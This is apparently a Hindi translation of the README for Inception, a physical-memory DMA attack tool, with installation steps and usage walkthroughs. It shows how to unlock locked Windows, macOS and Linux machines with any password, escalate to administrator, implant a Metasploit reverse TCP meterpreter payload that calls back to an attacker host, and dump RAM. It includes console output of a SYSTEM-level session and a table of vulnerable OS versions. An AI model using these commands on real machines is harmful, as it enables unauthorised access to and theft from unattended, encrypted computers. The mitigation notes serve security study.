
इनसेप्शन एक भौतिक मेमोरी हेरफेर और हैकिंग टूल है जो PCI-आधारित DMA का शोषण करता है। यह टूल FireWire, Thunderbolt, ExpressCard, PC Card और किसी भी अन्य PCI/PCIe इंटरफेस पर हमला कर सकता है।
नोट: यह टूल अब सक्रिय विकास के अधीन नहीं है, कृपया PCILeech देखें।
Inception एक भौतिक मेमोरी हेरफेर और हैकिंग टूल है जो PCI-आधारित DMA का दोहन करता है। यह टूल FireWire, Thunderbolt, ExpressCard, PC Card और किसी भी अन्य PCI/PCIe HW इंटरफेस पर हमला कर सकता है।
Inception का लक्ष्य DMA का उपयोग करके चालू कंप्यूटरों के विरुद्ध आक्रामक (intrusive) और गैर-आक्रामक (non-intrusive) मेमोरी हैक करने का एक अपेक्षाकृत तेज़, स्थिर, आसान और विस्तार योग्य तरीका प्रदान करना है।
Inception के मॉड्यूल इस प्रकार काम करते हैं: IEEE1394 FireWire इंटरफेस के माध्यम से पीड़ित मशीन को एक सीरियल बस प्रोटोकॉल 2 (SBP-2) यूनिट निर्देशिका प्रस्तुत करके, पीड़ित ऑपरेटिंग सिस्टम सोचता है कि FireWire पोर्ट से एक SBP-2 डिवाइस जुड़ गया है। चूँकि SBP-2 डिवाइस तेज़, बड़े बल्क डेटा ट्रांसफर (जैसे, FireWire हार्ड ड्राइव और डिजिटल कैमकॉर्डर) के लिए Direct Memory Access (DMA) का उपयोग करते हैं, पीड़ित अपनी ढालें नीचे करता है और डिवाइस के लिए DMA सक्षम करता है। अब टूल को पीड़ित की RAM के निचले 4GB तक पूर्ण पढ़ने/लिखने की पहुंच प्राप्त हो जाती है।
एक बार DMA प्रदान हो जाने पर, टूल ऑपरेटिंग सिस्टम के कोड में विशिष्ट ऑफसेट पर सिग्नेचर (signatures) के लिए उपलब्ध मेमोरी पेजों में खोज करता है। मिल जाने पर, टूल इस कोड में हेरफेर करता है। उदाहरण के लिए, unlock मॉड्यूल में, टूल ऑपरेटिंग सिस्टम के पासवर्ड प्रमाणीकरण मॉड्यूल को शॉर्ट-सर्किट कर देता है, जो गलत पासवर्ड दर्ज करने पर सक्रिय होता है।
उस मॉड्यूल को चलाने के बाद आप किसी भी पासवर्ड का उपयोग करके पीड़ित मशीन में लॉग इन कर सकेंगे।
इस ऑपरेशन के लिए एक उपमा है मशीन की मेमोरी में एक विचार रोपना; यह विचार कि हर पासवर्ड सही है। दूसरे शब्दों में, [मेमोरी इन्सेप्शन] 1 के समकक्ष।
Inception बियर की तरह मुफ़्त है (free as in beer) और यह मेरा एक साइड प्रोजेक्ट है।
दुनिया के फोरेंसिक विशेषज्ञ, सरकारें और तीन-अक्षर वाले संक्षिप्त नामों वाली एजेंसियां पहले से ही [समान टूल] 2 का उपयोग कर रही हैं। इसलिए यदि आप असंतुष्ट हैं या दमनकारी शासन का सामना कर रहे हैं, तो यह टूल दर्शाता है कि OPSEC क्यों महत्वपूर्ण है। अपने लैपटॉप को कभी भी नज़रों से दूर न छोड़ें।
[OS X > 10.7.2] 6 और [Windows > 8.1] 7 जब उपयोगकर्ता OS को लॉक करता है तो FireWire DMA को अक्षम कर देते हैं और इस प्रकार inception को रोकते हैं। जब तक उपयोगकर्ता लॉग इन है, टूल फिर भी काम करेगा। हालाँकि, यह IRL में एक कम संभावित हमले का परिदृश्य है।
इसके अलावा, [Ivy Bridge (>= 2012 Macs) पर OS X Mavericks > 10.8.2] 8 ने VT-D सक्षम किया है, जो प्रभावी रूप से DMA अनुरोधों को अवरुद्ध करता है और उपयोगकर्ता के लॉग इन होने पर भी सभी inception मॉड्यूल को विफल कर देता है। अपने लॉग/कंसोल में vtd[0] fault प्रविष्टियाँ देखें।
हालाँकि ये दो चेतावनियाँ धीरे-धीरे उन परिदृश्यों की संख्या कम कर देंगी जहाँ यह टूल उपयोगी है, मार्च 2015 तक [बाहर मौजूद 70% मशीनें अभी भी कमजोर हैं] 9।
यह टूल Freddie Witherden की ओर से LGPL लाइसेंस के अंतर्गत libforensic1394 लाइब्रेरी का उपयोग करता है।
Inception को निम्नलिखित की आवश्यकता है:
OS X पर दोषपूर्ण FireWire इंटरफेस के कारण हमलावर पक्ष पर वर्तमान में Linux की सिफारिश की जाती है। ध्यान दें कि सीधा Thunderbolt से Thunderbolt नहीं चलता, आपको FireWire एडाप्टर की आवश्यकता होती है। Linux पर Thunderbolt का उपयोग करने का प्रयास करने पर आपका अनुभव भिन्न हो सकता है।
Debian-आधारित वितरणों पर स्थापना कमांड को इस प्रकार संक्षेपित किया जा सकता है (यदि आप रूट नहीं हैं तो आवश्यकतानुसार sudo लगाएँ):
apt-get install git cmake g++ python3 python3-pip
OS X पर, आप [homebrew] 4 के साथ टूल की आवश्यकताएँ स्थापित कर सकते हैं:
brew install git cmake python3
आवश्यकताओं को स्थापित करने के बाद, libforensic1394 डाउनलोड और इंस्टॉल करें:
wget https://freddie.witherden.org/tools/libforensic1394/releases/libforensic1394-0.2.tar.gz -O - | tar xz
cd libforensic1394-0.2
cmake CMakeLists.txt
make install
cd python
python3 setup.py install
git clone git://github.com/carmaa/inception.git
cd inception
./setup.py install
यदि आपके पास pip स्थापित है तो सेटअप स्क्रिप्ट निर्भरताएँ स्थापित करने में सक्षम होनी चाहिए।
बस टाइप करें:
incept [module name]
अधिक संपूर्ण और अद्यतन विवरण के लिए, कृपया चलाएँ:
incept -h
या [टूल होम पेज] 5 देखें।
संस्करण 0.4.0 से, Inception को मॉड्यूलर बना दिया गया है। वर्तमान मॉड्यूल और उनकी कार्यक्षमता नीचे वर्णित है।
उपयोग के विस्तृत विकल्पों के लिए, चलाएँ:
incept [module name] -h
unlock मॉड्यूल लगभग* किसी भी चालू मशीन को अनलॉक कर सकता है (कोई भी पासवर्ड स्वीकार्य) और Administrator/root तक विशेषाधिकार बढ़ा सकता है, जिस तक आपके पास भौतिक पहुंच है। यह मॉड्यूल मुख्य रूप से उन कंप्यूटरों के विरुद्ध अपना जादू करने के लिए है जो BitLocker, FileVault, TrueCrypt या Pointsec जैसे फुल डिस्क एन्क्रिप्शन का उपयोग करते हैं। ऐसी मशीन को हैक करने के कई अन्य (और बेहतर) तरीके हैं जिनमें एन्क्रिप्शन नहीं होता।
unlock मॉड्यूल उन मशीनों पर स्थिर है जिनमें 4 GiB या उससे कम मुख्य मेमोरी है। यदि आपका लक्ष्य उससे अधिक है, तो आपको उन सिग्नेचर को खोजने के लिए भाग्यशाली होना होगा जो टूल की पहुंच वाले भौतिक मेमोरी पेज फ्रेम में मैप किए गए हैं।
इस संस्करण तक, यह निम्नलिखित x86 और x64 ऑपरेटिंग सिस्टमों को अनलॉक करने में सक्षम है:
(1): ऊपर दी गई चेतावनियाँ देखें।
अन्य Linux वितरण जो PAM-आधारित प्रमाणीकरण का उपयोग करते हैं, वे Ubuntu सिग्नेचर का उपयोग करके भी काम कर सकते हैं।
यह मॉड्यूल प्रभावी रूप से विशेषाधिकार वृद्धि भी सक्षम करता है, उदाहरण के लिए क्रमशः runas या sudo -s कमांड के माध्यम से।
अनलॉक करने के लिए, बस टाइप करें:
incept unlock
_| _| _| _|_|_| _|_|_|_| _|_|_| _|_|_| _| _|_| _| _|
_| _|_| _| _| _| _| _| _| _| _| _| _|_| _|
_| _| _| _| _| _|_|_| _|_|_| _| _| _| _| _| _| _|
_| _| _|_| _| _| _| _| _| _| _| _| _|_|
_| _| _| _|_|_| _|_|_|_| _| _| _| _|_| _| _|
v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe
[?] Will potentially write to file. OK? [y/N] y
[*] Available targets (known signatures):
[1] Windows 8 MsvpPasswordValidate unlock/privilege escalation
[2] Windows 7 MsvpPasswordValidate unlock/privilege escalation
[3] Windows Vista MsvpPasswordValidate unlock/privilege escalation
[4] Windows XP MsvpPasswordValidate unlock/privilege escalation
[5] Mac OS X DirectoryService/OpenDirectory unlock/privilege escalation
[6] Ubuntu libpam unlock/privilege escalation
[7] Linux Mint libpam unlock/privilege escalation
[?] Please select target (or enter 'q' to quit): 2
[*] Selected target: Windows 7 MsvpPasswordValidate unlock/privilege escalation
[=============> ] 227 MiB ( 22%)
[*] Signature found at 0xe373312 in page no. 58227
[*] Patch verified; successful
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!
implant मॉड्यूल एक (केवल-मेमोरी) Metasploit पेलोड को सीधे लक्ष्य मशीन की वोलेटाइल मेमोरी में प्रत्यारोपित (implant) करता है। यह Metasploit के सभी संस्करणों में शामिल msfrpcd डेमॉन के माध्यम से MSF के साथ एकीकृत होता है।
वर्तमान संस्करण केवल Windows 7 SP1 x86 के विरुद्ध एक proof-of-concept के रूप में काम करता है। किसी अन्य OS, संस्करण या आर्किटेक्चर का समर्थन नहीं है, न ही इस बात की कोई गारंटी है कि भविष्य में उन्हें समर्थन मिलेगा।
इसका उपयोग करने के लिए, msfrpcd प्रारंभ करें:
msfrpcd -P [password]
फिर दूसरे टर्मिनल में inception लॉन्च करें:
incept implant --msfpw [password] --msfopts [options]
एक उदाहरण के रूप में, लक्ष्य मशीन से आपके हमलावर होस्ट तक एक रिवर्स TCP meterpreter शेल बनाने के लिए, पहले msfrpcd डेमॉन प्रारंभ करें, और फिर कॉलबैक सुनने वाला कंसोल लॉन्च करें।
msfrpcd -P password
msfconsole
कंसोल में, हम पेलोड के प्राप्त करने वाले सिरे को कॉन्फ़िगर करते हैं। हम EXITFUNC विकल्प को thread पर सेट कर रहे हैं ताकि यह सुनिश्चित हो सके कि कुछ गलत होने पर लक्ष्य प्रक्रिया जीवित रहे:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.1.1
set EXITFUNC thread
set ExitOnSession false
exploit -j
फिर, दूसरे टर्मिनल में, हम Inception लॉन्च करते हैं:
incept implant --msfpw password --msfopts LHOST=172.16.1.1
_| _| _| _|_|_| _|_|_|_| _|_|_| _|_|_| _| _|_| _| _|
_| _|_| _| _| _| _| _| _| _| _| _| _|_| _|
_| _| _| _| _| _|_|_| _|_|_| _| _| _| _| _| _| _|
_| _| _|_| _| _| _| _| _| _| _| _| _|_|
_| _| _| _|_|_| _|_|_|_| _| _| _| _|_| _| _|
v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe
[?] Will potentially write to file. OK? [y/N] y
[!] This module currently only work as a proof-of-concept against Windows 7 SP1
x86. No other OSes, versions or architectures are supported, nor is there
any guarantee that they will be supported in the future.
[?] What MSF payload do you want to use? windows/meterpreter/reverse_tcp
[*] Selected options:
[*] LPORT: 4444
[*] LHOST: 172.16.1.1
[*] EXITFUNC: thread
[*] Stage 1: Searcing for injection point
[================================> ] 537 MiB ( 53%)
[*] Signature found at 0x219d118c in page no. 137681
[*] Patching at 0x219d118c
[\] Waiting to ensure stage 1 execution
[*] Restoring memory at initial injection point
[*] Stage 2: Searching for page allocated in stage 1
[=========================> ] 434 MiB ( 42%)
[*] Signature found at 0x1b2d9000 in page no. 111321
[*] Patching at 0x1b2d9000
[*] Patch verified; successful
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!
आपके MSF कंसोल में, आपको कुछ इसी तरह देखना चाहिए:
msf exploit(handler) > [*] Sending stage (769536 bytes) to 172.16.78.200
[*] Meterpreter session 1 opened (172.16.1.1:4444 -> 172.16.78.200:49178) at 2014-08-30 16:23:31 +0200
msf exploit(handler) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ WIN-11FMQRBAMJ6 172.16.1.1:4444 -> 172.16.78.200:49178 (172.16.78.200)
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
dump मॉड्यूल लक्ष्य से हमलावर होस्ट तक मेमोरी की डंपिंग को सुगम बनाता है।
incept dump
_| _| _| _|_|_| _|_|_|_| _|_|_| _|_|_| _| _|_| _| _|
_| _|_| _| _| _| _| _| _| _| _| _| _|_| _|
_| _| _| _| _| _|_|_| _|_|_| _| _| _| _| _| _| _|
_| _| _|_| _| _| _| _| _| _| _| _| _|_|
_| _| _| _|_|_| _|_|_|_| _| _| _| _|_| _| _|
v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe
[*] Dumping from 0x0 to 0x40000000, a total of 1 GiB:
[==============================================================] 1024 MiB (100%)
[*] Dumped memory to file memdump_0x0-0x40000000_20140830-174305.bin
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!
कृपया ऊपर दी गई टिप्पणियाँ और [टूल होम पेज] 5 देखें।
कृपया [टूल होम पेज] 5 देखें।
इस टूल के साथ बुराई न करें। साथ ही, मैं एक पेंटेस्टर हूँ, डेवलपर नहीं। इसलिए यदि आपको अजीब कोड दिखे जो आपकी पाइथोनेस्क शुद्धता की भावनाओं को परेशान करे, तो मुझे एक नोट छोड़ दें कि मैं इसे कैसे सुधार सकता हूँ। या इससे भी बेहतर, मेरे कोड को फोर्क करें, उसमें बदलाव करें और पुल अनुरोध जारी करें।
| ऑपरेटिंग सिस्टम | संस्करण | लॉक स्क्रीन अनलॉक करें | विशेषाधिकार बढ़ाएँ |
|---|
| Windows 8 | 8.1 | हाँ (1) | हाँ (1) |
| Windows 8 | 8.0 | हाँ | हाँ |
| Windows 7 | SP1 | हाँ | हाँ |
| Windows 7 | SP0 | हाँ | हाँ |
| Windows Vista | SP2 | हाँ | हाँ |
| Windows Vista | SP1 | हाँ | हाँ |
| Windows Vista | SP0 | हाँ | हाँ |
| Windows XP | SP3 | हाँ | हाँ |
| Windows XP | SP2 | हाँ | हाँ |
| Windows XP | SP1 | ||
| Windows XP | SP0 | ||
| Mac OS X | Mavericks | हाँ (1) | हाँ (1) |
| Mac OS X | Mountain Lion | हाँ (1) | हाँ (1) |
| Mac OS X | Lion | हाँ (1) | हाँ (1) |
| Mac OS X | Snow Leopard | हाँ | हाँ |
| Mac OS X | Leopard | ||
| Ubuntu | Saucy | हाँ | हाँ |
| Ubuntu | Raring | हाँ | हाँ |
| Ubuntu | Quantal | हाँ | हाँ |
| Ubuntu | Precise | हाँ | हाँ |
| Ubuntu | Oneiric | हाँ | हाँ |
| Ubuntu | Natty | हाँ | हाँ |
| Linux Mint | 13 | हाँ | हाँ |
| Linux Mint | 12 | हाँ | हाँ |
| Linux Mint | 12 | हाँ | हाँ |